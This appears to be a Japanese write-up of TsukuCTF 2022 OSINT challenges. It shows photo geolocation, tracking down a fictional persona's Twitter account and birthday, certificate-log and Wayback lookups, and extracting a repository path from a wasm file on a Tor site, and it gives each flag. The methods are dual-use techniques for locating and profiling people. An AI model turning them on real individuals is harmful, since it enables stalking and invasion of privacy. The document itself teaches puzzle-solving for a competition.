帰ってくるあなたが最高のプレゼント。つくし君は電車にガタゴト揺られています。次の停車駅で降りるようなのですが、どこかわかりますか? ※フラグの形式は TsukuCTF22{次の停車駅} です。公式サイトの表記を採用します(スペースは含めません)。

新幹線か特急か、座り心地のよさそうな電車の座席で撮られた写真が与えられる。CentXというアプリの広告があることから、おそらく撮影地は名古屋だろうなあと推測する。Google Lensで検索してみると、ミュースカイという名古屋鉄道の特急の座席の写真が出てきた。写真のものとよく似ている。何も考えずに「名鉄名古屋」と「中部国際空港」の両方を試したところ、前者が当たりだった。

TsukuCTF22{名鉄名古屋}

[OSINT 406] Where (98 solves)

北海道に住んでいるつくしさんは東京旅行に行った際に高層ビルの窓から写真を撮りました。

でも撮影した場所を忘れてしまったようです。この写真が撮影された場所について建物名を教えてあげてください。

フラグはこの建物の開業日(YYYY/MM/DD)です。たとえば、東京スカイツリーの開業日は2012年5月22日なので、フラグは TsukuCTF22{2012/05/22} となります。

問題文から東京で撮影された写真であることがわかる。写真中央に大きく写っている2棟の高層ビル(と1棟の建設中の高層ビル)が特徴的であるように見える。Google Lensで切り取って検索すると、ど真ん中の高層ビルは渋谷ヒカリエであることがわかる。その隣りにあるのは渋谷スクランブルスクエアだろう。

これらの高層ビルや、マルイや西武などの建物を一度に写せるような場所はどこだろうか。Google Earthはとても便利で、地図を回転させつつ、建物の高さなどからどこから撮れそうか推測できる。近くにある高層ビルで、かつ渋谷ヒカリエなどの建物が与えられた写真のように撮れるのは渋谷パルコだ。渋谷パルコの開業日はWikipediaに「1973年6月14日」と書かれている。本当にそうかは知らないが、フラグが受理されたので勝ちだ。

TsukuCTF22{1973/06/14}

[OSINT 433] Gorgeous Interior Bus (83 solves)

観光地に来たつくし君は、豪華なバスを見かけたので、それに乗って観光することにしました。 その時、つくし君のお母さんから「どこにいるの?」と連絡が着ましたが、おっちょこちょいなつくし君は、観光地の名前も、乗っているバスの路線も忘れてしまい、とっさに車内の写真を撮って、「ここ」と返信しました。 つくしくんはどこにいるのでしょうか? つくしくんが写真を撮ったところに最も近い交差点の名前を特定してください。

※フラグの形式は TsukuCTF22{交差点の名前} です。

問題名の通りに、めっちゃ豪華な内装のバスの写真が与えられている。天井からミラーの裏側まで色々なところに花が描かれている。この絵をGoogle Lensで検索してやると、熱海を走っている「湯~遊~バス」の「彩」という車両であることがわかった

さて、重要なのはこれがどの交差点の近くで撮られたかだ。まずバスがどのようなルートで走っているか確認すると、運行ルートが見つかった。車両前方のディスプレイに表示されている次に停まるバス停の情報と照らし合わせると、このバスは今後銀座 → 親水公園 → マリンスパあたみという順番で停まることがわかる。つまり、サンビーチから銀座までの間にこの写真を撮影した地点があるはずだ。

ストリートビューを使って同じルートをたどる。見つけた。写っている店舗のアクセスから、この交差点は東海岸町交差点であるとわかった。

TsukuCTF22{東海岸町}

[OSINT 446] Bringer_of_happpiness (75 solves)

つくしくんは荷物を運び終えて休憩してるときに撮った写真。さて撮影場所はどこだろう?

※フラグの形式は TsukuCTF22{緯度_経度} です。ただし、緯度経度は十進法で小数点以下五桁目を切り捨てたものとします。

おそらく駅の近くで、踏切の前から撮影された写真が与えられる。右側には黄色い車体の鉄道車両が見える。Google Lensでこの鉄道車両を切り取って検索してみると、島原鉄道のとてもよく似た車両の写真がヒットする。ただ、これだけでは撮影地を絞りきれない。

よく見ると、踏切の向こう側の建物の前に、「J-C…」や「パチン…」、「スロ…」と書かれたのぼりが立っている。そういう名前のパチンコなどのお店があるのだろうか。「パチンコ 島原」でググって出てくる店舗を探していると、J-コーストという店舗が見つかった。島原港駅すぐ近くで、ロゴなども一致する。

与えられた写真と同じような構図の場所をストリートビューで探すと、見つかった

TsukuCTF22{32.7691_130.3706}

[OSINT 454] Desk (69 solves)

つくし君の大好きなお姉さんのデスクを見学させてもらったよ。 さて、このデスクはどこにあるのだろうか?

フラグ形式は写真が撮影された場所の郵便番号(ハイフンを除く)を入れて下さい。例えば撮影された場所が東京都庁の場合、郵便番号は163-8001なので TsukuCTF22{1638001} となります。

「(塗りつぶされて読めなくなっている)のデスク」と書かれた紙が置かれた机と椅子の写真が与えられる。机の上にはなにか書かれていそうな資料も置かれていて、そこには沖縄本島が描かれている。写真右下にはゆるキャラなのかなんなのか、とにかくキャラクターが描かれている。

Google Lensで右下のキャラクターを検索すると、ヒットした。沖縄県南城市なんじぃというキャラクターらしい。雑に「南城市 デスク」で検索してみると、このデスクが「久高夏凛さんのデスク」だというツイートがヒットした。ご丁寧にハッシュタグとして撮影地も書かれている。がんじゅう駅・南城だ。ググると郵便番号が出てくる。

TsukuCTF22{9011511}

[OSINT 482] banana (44 solves)

つくし君は、ある女の子のSNSアカウントを眺めています。 つくし「この場所を特定して僕も同じ場所の同じ構図で写真を撮りたい!」

つくし君の願いを叶えるべく、この場所を特定してあげましょう。 ※フラグの形式は TsukuCTF22{緯度_経度} です。ただし、緯度経度は十進法で小数点以下五桁目を切り捨てたものとします。

サングラスをかけたバナナ人間の絵と撮った写真が与えられる。Google Lensで右側に写っているバナナ人間を検索してもよい情報は得られなかったが、一見情報は得られなさそうな左側に写っている文字を検索するとまさにそこだという写真がヒットした。グアムのウォールアートらしい。検索結果として出てきた記事をもっと見てみると、撮影した場所がデデド朝市会場のトイレだとわかった。

TsukuCTF22{13.5210_144.8287}

[OSINT 488] TsukuCTF Big Fan 1 (36 solves)

彼はTsukuCTFの大ファンで、TsukuCTFのあらゆるコンテンツを確認しています。 私は彼と一緒にTsukuCTFに参加しようと思っています。しかし、私は彼の実力をあまり知りません。 まずは彼のTwitterのアカウントを特定し、そのアカウントのアカウント作成日を求めてください。 フラグ形式は TsukuCTF22{YYYY/MM/DD} です。

He is a big TsukuCTF fan and checks all the content of TsukuCTF. I am planning to participate in the TsukuCTF with him. But I don't know much about his ability. First, specify his Twitter account and ask for the date the account was created. The flag format is TsukuCTF22{YYYY/MM/DD}.

次のようなDiscordのメッセージのスクリーンショットが与えられる。ただ、TsukuCTFの公式Discordサーバでユーザの一覧を探してみても、ToshiKu というユーザは確認できなかった。ユーザタグも特定するのは面倒くさそうだ。

TsukuCTFのファンということで、彼がTsukuCTFのTwitterアカウントをフォローしているのではないかと思った。フォロワーを上から順番に見ていくと、あった。@SuperProStalkerだ。

cache:https://twitter.com/superprostalker を検索してキャッシュを表示し、HTMLを確認する。"dateCreated": "2021-11-29T07:52:58.000Z" という情報から、このTwitterアカウントが作られた日付を特定できた。

TsukuCTF22{2021/11/29}

[OSINT 500] TsukuCTF Big Fan 2 (6 solves)

彼はWebサイトを運営しているようです。

He appears to be running a web site.

今度は串田の運営しているWebサイトでなにかする必要があるらしい。まずはそのURLを特定したい。彼はいくつかWebサイトに関係しそうな意味深なツイートを残している。xn といえばPunycodeだ。適当なツールでデコードすると、これは つくctf.com というドメイン名だとわかった。

早速 つくctf.com にアクセスしてみたが、Rickrollされてしまう。

$ curl -i つくctf.com
HTTP/1.1 302 Found
Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ
Date: Sat, 22 Oct 2022 19:58:41 GMT
Content-Type: text/html; charset=UTF-8
Server: ghs
Content-Length: 240
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="https://www.youtube.com/watch?v=dQw4w9WgXcQ">here</A>.
</BODY></HTML>

うーんと思ったが、このWebサイトにHTTPSでアクセスできることに気づく。証明書はどうなっているのだろう。crt.shで確認してみると、this-is-flag-site.xn--ctf-073b6d.com というドメイン名が確認できた。

this-is-flag-site.xn--ctf-073b6d.com にアクセスするとフラグが得られた。

TsukuCTF22{wh47_15_4_pun1c0d3?}

[OSINT 500] TsukuCTF Big Fan 3 (18 solves)

When is his birthday? The flag format is TsukuCTF22{YYYY/MM/DD}.

今度は誕生日だ。彼はほかにもいくつか気になるツイートを残している。まずはこれだが、彼に関する情報を含んでいるらしいツイートを引用リツイートしている。しかしながら、引用しているツイートはすでに削除されてしまっている。

Wayback Machineでこのツイートがアーカイブされていないか調べてみたところ、あった

Here you are xD hxxps://drive.google.com/drive/folders/1sal6kj0OrsO7Xu-gQZeBFjYOm-kAtuns?usp=sharing

とのことで、Google Driveへのリンクがある。アクセスしてみると、README.txtdummy.csv というファイルがあった。前者はこれらのファイルはCTF用に作られたものだという説明で、後者はダミーの個人情報が大量に載っているCSVだ。この中に彼の情報があるのだろうか。CSVのカラムには名前や住所のほかに、誕生日とメールアドレスもある。

メールアドレスといえば、彼はこういうツイートもしていた。

byu から始まるメールアドレスを持つ人は、田川ヒロシひとりだけだ。これで彼の誕生日がわかった。

$ grep byu dummy.csv
田川 ヒロシ,41,1980/01/10,Male,A,byucraglar5r7nzx3np9@gmail.com,090-9040-2901,185-4532,株式会社TSHSU
TsukuCTF22{1980/01/10}

[OSINT 495] Bus POWER (24 solves)

私はこれからつくしくんと食事をする予定です。しかし、待ち合わせの時間になっても彼は来ず、代わりにこのような文章と写真を送ってきました。

「写真の奥に青い道路標識が見えるよね?ちょうど今そこを通過した先にある交差点にいます。」

彼が何分くらい遅刻するのか推定するために、この写真の近くにある交差点の名前を特定してください。フラグ形式は TsukuCTF22{交差点の名前} です。交差点の名前は日本語で、Google Mapの表記に準拠します。

私がこの問題に取り組むまでにptr-yudaiさんがだいぶ調べていて、その雰囲気から京都っぽいとわかっていた。写真の右上にあるおそらく運転手の名前などが書かれている箇所に、「…2822」という車番も書かれていることがわかっていた。これらの情報を組み合わせて、京都市営バスであろうというところまで確認していた。

ただ、文字情報がほとんどなく、またそれ以外の特徴的に思える部分からもあまり情報を得られていなかった。ぽけーっと写真を眺めていた所、右上にうっすらと文字が見える。「…条河…」に当てはまる行き先はどこだろうか*5。関西人パワーから四条河原町を思いついた。だがまだ解けない。

四条河原町を経由しそうな系統を狙って「前面展望 3系統」などをググり、出てきた動画を倍速&飛ばし飛ばしで視聴してそれっぽい場所を探す。だがまだ見つからない。

ヤケクソで、4車線以上の道路の片側に、黒いピラミッド状の屋根の建物と8階程度の建物が隣接している場所を探せばよいのではないかと考える。Google Earthを開き、四条河原町に飛んで太い道路沿いに移動しつつ探した。怪しい場所があればストリートビューで確認し、違っていればまた怪しい場所を探すという作業を繰り返す。しばらく探していると、それっぽい場所が見つかった。黒い屋根の建物と、8階程度の建物は写真と同じであるように見える。

だが、道路標識が与えられた写真のものとは一致していないし、本来建物があるはずの左手には駐車場がある。古い写真が与えられたのではないかと疑ったが、何年か遡ってみると2013年にはすでに更地になっているし、そもそも運転席に近い座席がビニールカバーで使用できない状態になっており(というか、「…感染症…中止しています…距離を保つため…」という文章が見える)、コロナ禍に入ってからの写真であることが推測できる。

写真と似た構図の場所を探す。西にやや移動すると、見つかった。左手にある建物も写真と一致している。さて、この問題で答えるのは交差点の名前だった。Yahoo! 地図で交差点の名前を確認した*6。「写真の奥に青い道路標識が見える」のを「通過した先にある交差点」というのは、千本今出川交差点だ。

TsukuCTF22{千本今出川}

[OSINT 500] Ochakumi (3 solves)

私はハッカーフォーラムである人に出会いました。彼はOSSエンジニアを名乗っており、このWebサイトを運営しているようです。

⚠️このWebサービスの応答はネットワークの性質上少し時間がかかりますが、数回程度のアクセスで十分に解くことができます。もし応答がない場合はAdminへ報告し、しばらくしてから再度アクセスしてください。

http://tsuku22qotvyqz5kbygsmxvijjg7jg2d7rgc42qhaqt3ryj66lntrmid.onion

.onion というTLDから、このWebサイトはTor Hidden Serviceであるとわかる。Tor Browserでアクセスしてみると、以下のようにNeko Neko Calculatorという謎のサービスが表示された。7*7 を入力すると49と表示される。名前の通り電卓っぽい。

DevToolsのNetworkタブを開きつついじってみるが、ボタンを押しても計算式がXMLHttpRequestやFetchで送られている様子はない。サーバ側ではなくクライアント側で計算しているようだ。Ctrl + F5 で更新してみると、index.html, wasm_exec.js, main.wasm という3つのファイルをダウンロードしている様子が確認できた。WebAssemblyを使っているらしい。

wasm_exec.js はグルースクリプトだけれども、1行目から嫌なコメントが見える。Goで書いてwasmにコンパイルしているのではないか。バイナリエディタmain.wasm を開くと、やはり syscall/js.valuePrepareString のような文字列が見えて、Go製のwasmであると確信する。

// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

問題文には以下のように reversing というタグが付いていて、やはりちゃんとこの5MB弱のwasmをリバースエンジニアリングしないとダメなのかなあと思う。

でもメインカテゴリはOSINTだ。なにかしら情報が得られることを祈って strings -n main.wasm を実行する。出力された文字列を眺めていると、気になるものがあった。ビルド時の情報が色々あるけれども、GitHubリポジトリの情報もある。

…
go1.18.4
    /usr/local/go
path    github.com/GaOACafa/website
mod github.com/GaOACafa/website (devel) 
build   -compiler=gc
build   CGO_ENABLED=0
build   GOARCH=wasm
build   GOOS=js
…

GaOACafa/website のコミットを眺めていると、.gitignore で次のようにファイルを列挙している様子が確認できた。wasm_exec.jsindex.html といったファイル名は聞き覚えがあるが、public/this_is_flag_dbKIMLQnMCI2fp0.html というのはとても怪しい。

deploy.sh
dist
node_modules
public/main.wasm
public/this_is_flag_dbKIMLQnMCI2fp0.html
public/favicon.ico
public/wasm_exec.js
index.html

.gitignore で得られた情報をもとに http://tsuku22qotvyqz5kbygsmxvijjg7jg2d7rgc42qhaqt3ryj66lntrmid.onion/this_is_flag_dbKIMLQnMCI2fp0.html にアクセスすると、フラグが得られた。

TsukuCTF22{C0uld_w45m_h4v6_p6r50n4l_1nf0rm4710n?}

この問題は98ptsがfirst bloodだった。

*1:「就きたい職業はエゾタヌキ」で出ていた

*2:CTFtime.orgでは "a CTF with Japanese OSINT as the main genre" と言っているぐらいなので。ところで、ここで "Japanese" は "CTF" でなく "OSINT" にかかっていることに注意

*3:私はデイリーポータルZここはどこでしょう?で色々な正解への辿り着き方を読むのが好き

*4:CTFを始めたばかりのころは、スクリプティングに慣れていなかったのでBoolean-basedなSQLiも手作業でやっていたのを思い出した。それも二分探索でなく線形探索で

*5:条河麻耶ではない

*6:問題文に「Google Mapの表記に準拠します」と書かれているけれども、今writeupを書いているときに初めてGoogle Mapでも交差点の名前を確認できると知った